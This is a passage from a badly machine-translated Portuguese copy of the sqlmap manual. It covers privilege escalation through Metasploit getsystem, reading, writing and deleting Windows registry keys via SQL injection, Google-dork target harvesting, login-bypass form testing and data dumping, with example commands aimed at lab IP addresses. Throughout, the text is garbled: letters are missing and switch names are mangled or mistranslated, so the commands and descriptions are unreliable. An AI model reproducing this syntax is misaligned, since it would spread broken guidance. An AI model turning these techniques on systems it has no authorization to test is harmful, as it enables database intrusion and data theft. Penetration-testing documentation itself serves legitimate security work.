como SYSTEM , enquanto o Microsoft SQL Server 2005 e 2008 executar a
maioria das vezes o servio de rede e s vezes como LOCAL SERVICE .
possvel fornecer sqlmap com o - priv-esc- interruptor para executar
um processo de escalonamento de banco de dados 'privilgio utilizador via
Metasploit getsystem comando que inclui, entre outros, okitrap0d tcnica
( MS10-015 ).

5,14 acesso registro do Windows


possvel acessar o Registro do Windows quando o back-end do sistema de
gesto de banco de dados ou MySQL, PostgreSQL ou Microsoft SQL
Server, e quando o aplicativo web oferece suporte a consultas
empilhadas. Alm disso, o usurio da sesso tem que ter os privilgios
necessrios para acess-lo.
Leia um Windows valor da chave de registro
Switch: - -reg-leitura
Usando esta opo, voc pode ler valores chave do Registro.
Escreva um Windows valor da chave de registro
Switch: - add-regUsando esta opo, voc pode escrever valores chave do Registro.
Excluir uma chave do registro do Windows
Switch: - del-regUsando esta opo, voc pode excluir chaves de registro.
Auxiliares chaves de registro
Switches: - -reg-chave , - que o registro de valor , - que o registro de
dados e - reg-tipo
Essas opes podem ser usadas para fornecer dados necessrios para um bom
funcionamento de opes - que o registro de leitura , - add-reg- e - -

. Assim, em vez de fornecer informaes chave de registro quando


solicitado, voc pode us-los no prompt de comando como argumentos do
programa.
Com - -reg-chave opo especificada usou o Windows caminho da chave de
registro, com - Reg. valor nome do item de valor dentro de chave fornecida,
com - Reg. de dados de dados de valor, enquanto que com - Reg.
tipo opo que especificar o tipo do item de valor.
Uma linha de comando de exemplo para adicionar uma seo de registro
chave segue:
reg-del

$ Python sqlmap.py-u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?


id=1 - reg-adicionar \
- Reg-key = "HKEY_LOCAL_MACHINE \ SOFTWARE \ sqlmap" - reg-O valor
de teste = - reg-type = REG_SZ - reg de dados = 1

5,15 Geral
Acesse o trfego HTTP (s) para um arquivo textual
Switch: -t
Esta opo requer um argumento que especificado o arquivo textual que
escrever todo o trfego HTTP (s) gerado pelo sqlmap - HTTP (s) pedidos e
HTTP (S) respostas.
Isso til principalmente para fins de depurao.
Arquivo de sesso: salvar e retomar dados recuperados
Switch: -s
Por padro sqlmap registra todas as consultas e sua sada em um arquivo de
texto chamado arquivo de sesso , independentemente da tcnica utilizada
para extrair os dados. Isso til se voc parar a injeo por qualquer motivo e
reprise-lo depois: sqlmap ir analisar o arquivo de sesso e retomar os dados
enumerados a partir dele, em seguida, continuar a extrao de dados a partir
do ponto exato onde saiu antes de parar a ferramenta.
O arquivo da sesso padro sada / TARGET_URL / sesso , mas voc pode
especificar um caminho de arquivo diferente com s- switch.
O arquivo de sesso tem a seguinte estrutura:
[Hh: mm: ss MM / DD / AA]
[URL de destino] [ponto de injeo] [Parmetros] [nome de consultas ou
informaes] [sada da consulta ou valor]

Um usurio mais amigvel arquivo textual, onde todos os dados recuperados


so salvos, o arquivo de log , a sada / TARGET_URL / log . Este arquivo
pode ser til para ver todas as informaes enumeradas at o fim.
Arquivo de sesso embutida
Switch: - flush-sesso
Como voc j est familiarizado com o conceito de um arquivo de sesso a
partir da descrio acima, bom saber que voc pode liberar o contedo desse
arquivo usando a opo - flush-sesso . Desta forma, voc pode evitar os
mecanismos de cache implementados por padro no sqlmap. Outro caminho
possvel remover manualmente o arquivo de sesso (s).

Ignora os resultados da consulta armazenados no arquivo de sesso


Switch: - Fresh--consultas
Como voc j est familiarizado com o conceito de um arquivo de sesso a
partir da descrio acima, bom saber que voc pode ignorar o contedo
desse arquivo usando a opo - Fresh--consultas . Desta forma, voc pode
manter o arquivo de sesso intocada e para uma corrida selecionada, evitar a
retomada / restaurao de sada procedimentos.
Hora prevista de chegada
Switch: - eta possvel calcular e mostrar em tempo real o tempo estimado de chegada
para recuperar cada sada da consulta. Isto mostrado quando a tcnica
utilizada para recuperar a sada qualquer um dos tipos de injeco cegos
SQL.
Exemplo contra um alvo a Oracle afetadas apenas por boolean baseada
injeo de SQL cego:
$ Python sqlmap.py-u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b - eta
[...]
[Hh: mm: 01] [INFO] o back-end SGBD Oracle
[Hh: mm: 01] [INFO] bandeira fetching
[Hh: mm: 01] [INFO] recuperar a tempo de sada da consulta
[Hh: mm: 01] [INFO] acessado: 64
17% [========>] 11/64 00:19 ETA

Ento:
100% [=============================================== ====] 64/64
[Hh: mm: 53] [INFO] acessado: Oracle Database 10g Enterprise Edition
verso 10.2.0.1.0 - Prod
tecnologia de aplicao web: PHP 5.2.6, Apache 2.2.9
back-end SGBD: Oracle
banner: "Oracle Database 10g Enterprise Edition verso 10.2.0.1.0 Prod '

Como voc pode ver, sqlmap primeira calcula o tamanho de sada da consulta,
em seguida, estima o tempo de chegada mostra o progresso em porcentagem e
conta o nmero de caracteres de sada recuperados.
Atualizao sqlmap
Switch: - atualizarUsando esta opo, voc pode atualizar a ferramenta para a ltima verso de
desenvolvimento diretamente do repositrio de subverso. Obviamente voc
precisa de acesso Internet.
Se, por qualquer motivo, esta operao falhar, executar svn update de sua
cpia sqlmap trabalho. Ele ir realizar a operao exatamente o mesmo da
chave - update- . Se voc estiver executando sqlmap no Windows, voc pode
usar o cliente TartoiseSVN clicando no Windows Explorer em sua cpia
sqlmap trabalhar e clicar em Atualizao .

Isso altamente recomendvel antes de relatar qualquer bug para as listas de


discusso .
Salvar opes em um arquivo de configurao INI
Switch: - de economia
possvel salvar as opes de linha de comando para um arquivo INI de
configurao. O arquivo gerado pode ento ser editado e passado para sqlmap
com o -c opo, tal como explicado acima.
Agir de modo no-interativo
Switch: - loteSe voc quiser sqlmap para funcionar como uma ferramenta de lote, sem
qualquer interao do usurio quando sqlmap exige, voc pode forar que
usando - lote- switch. Isso vai deixar sqlmap ir com um comportamento
padro, sempre que a entrada do usurio seria necessrio.

5,16 Diversos
Alerta quando uma injeo de SQL detectado
Switch: - bipQuando este parmetro fornecido, sqlmap soar a cada nova injeo de SQL
que ele encontra. Ela pode ser til quando voc est no modo de
processamento em lote uma sada idiota Google ou um arquivo de log proxy
para que voc no precisa para monitorar o terminal constantemente.
IDS teste de deteco de cargas de injeo
Switch: - cheque-cargaCurioso para ver se um sistema de deteco de intruso decente (IDS) pega
cargas sqlmap? Use esta opo!
Limpeza de o SGBD de sqlmap especfico UDF (s) e mesa (s)
Switch: - limpezaRecomenda-se limpar o back-end do sistema de gerenciamento de banco de
sqlmap tabela temporria (s) e criou funo definida pelo usurio (s) quando
voc feito tomando conta do sistema operacional ou sistema de
arquivos. Interruptor - limpeza, tentar limpar o SGBD e do sistema de
arquivos sempre que possvel.
Campos de anlise e teste de formulrios de entrada '
Switch: - formas de
Diga que voc quer testar contra injees SQL um enorme formulrio de
busca ou voc quer testar um bypass login (normalmente apenas dois campos
de entrada nomeada como nome de usurio e senha ), voc pode passar para
sqlmap a solicitao em um arquivo de solicitao ( -r ) , defina os dados
postados em conformidade ( - -dados ) ou deixar sqlmap fazer isso por voc!
Ambos os casos acima mencionados, e muitos outros, aparecem
como <form> e <input> tags em HTML corpos de resposta e a que este
interruptor entra em jogo.

Fornecer com sqlmap - formas- , bem como a pgina onde o formulrio pode
ser encontrado como o URL de destino ( -u ) e sqlmap ir solicitar a URL de
destino para voc, analisar as formas que ela tem e gui-lo atravs de testar a
injeo de SQL em os campos do formulrio de entrada (parmetros), em vez
de o URL de destino fornecido.
Use resultados dork Google de nmero de pgina especificado
Switch: - g ver pginaComportamento padro sqlmap com a opo -g fazer uma pesquisa no
Google e usar os primeiros 100 URLs resultantes de testes de injeo SQL
mais. No entanto, em combinao com esta opo, voc pode especificar com
essa opo, - g ver pgina- , alguma outra pgina que o primeiro para
recuperar URLs de destino.
Mostrar Page Rank (PR) para resultados dork Google
Switch: - pginas-rank
Executa outras solicitaes ao Google quando g fornecido e posto a exibio
da pgina (PR) para resultados dork do Google.
Parse DBMS mensagens de erro de pginas de resposta
Switch: - -parse-erros
Se a aplicao web est configurado no modo de depurao, de modo que ela
exibe nas respostas HTTP os back-end de banco de dados de gerenciamento
de mensagens de erro do sistema, sqlmap pode analisar e exibi-los para voc.
Isso til para fins de depurao como entender por que uma enumerao
certo ou switch aquisio no funciona - pode ser uma questo de privilgios
de usurio da sesso e, neste caso, voc ver uma mensagem de erro DBMS
ao longo das linhas de Acesso negado para o usurio <usurio da sesso > .
Replicar os dados salvos em um banco de dados sqlite3
Switch: - replicarSe voc deseja armazenar em um arquivo local de banco de dados SQLite 3
cada tabela despejados ( - dump- ou - -dump-all ), voc pode fornecer com o
sqlmap - replicate- chave na fase de despejo. Isso ir criar
um <nome_da_tabela>. sqlite3 em vez de um <db_name> /
<nome_da_tabela>. csv arquivo para sada / TARGET_URL / dump / diretrio.
Voc pode ento usar sqlmap-se para ler e consultar o local criado SQLite 3
arquivo. Por exemplo, python sqlmap.py-d sqlite :/ / /
software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 - tabela .
Interface de assistente simples para usurios iniciantes
Switch: - assistenteVoc realmente quer saber?

6. Licena e direitos autorais


sqlmap liberado sob os termos da Licena Pblica Geral v2 . sqlmap
protegido por seus desenvolvedores .

7. Renncia

sqlmap distribudo na esperana que possa ser til, mas SEM QUALQUER
GARANTIA, sem mesmo a garantia implcita de COMERCIALIZAO ou
ADEQUAO PARA UM DETERMINADO PROPSITO. Veja a GNU
General Public License para mais detalhes.
Faa o que fizer com esta ferramenta exclusivamente de sua
responsabilidade. Se voc no est autorizado a fazer furos na rede que voc
est atacando estar ciente de que tal ato poderia colocar voc em problemas
com um monte de agncias de aplicao da lei.

8. Autores
Bernardo Damele AG (inquis) - principal desenvolvedor. PGP Key
ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Desenvolvedor. PGP Key ID: 0xB5397B1B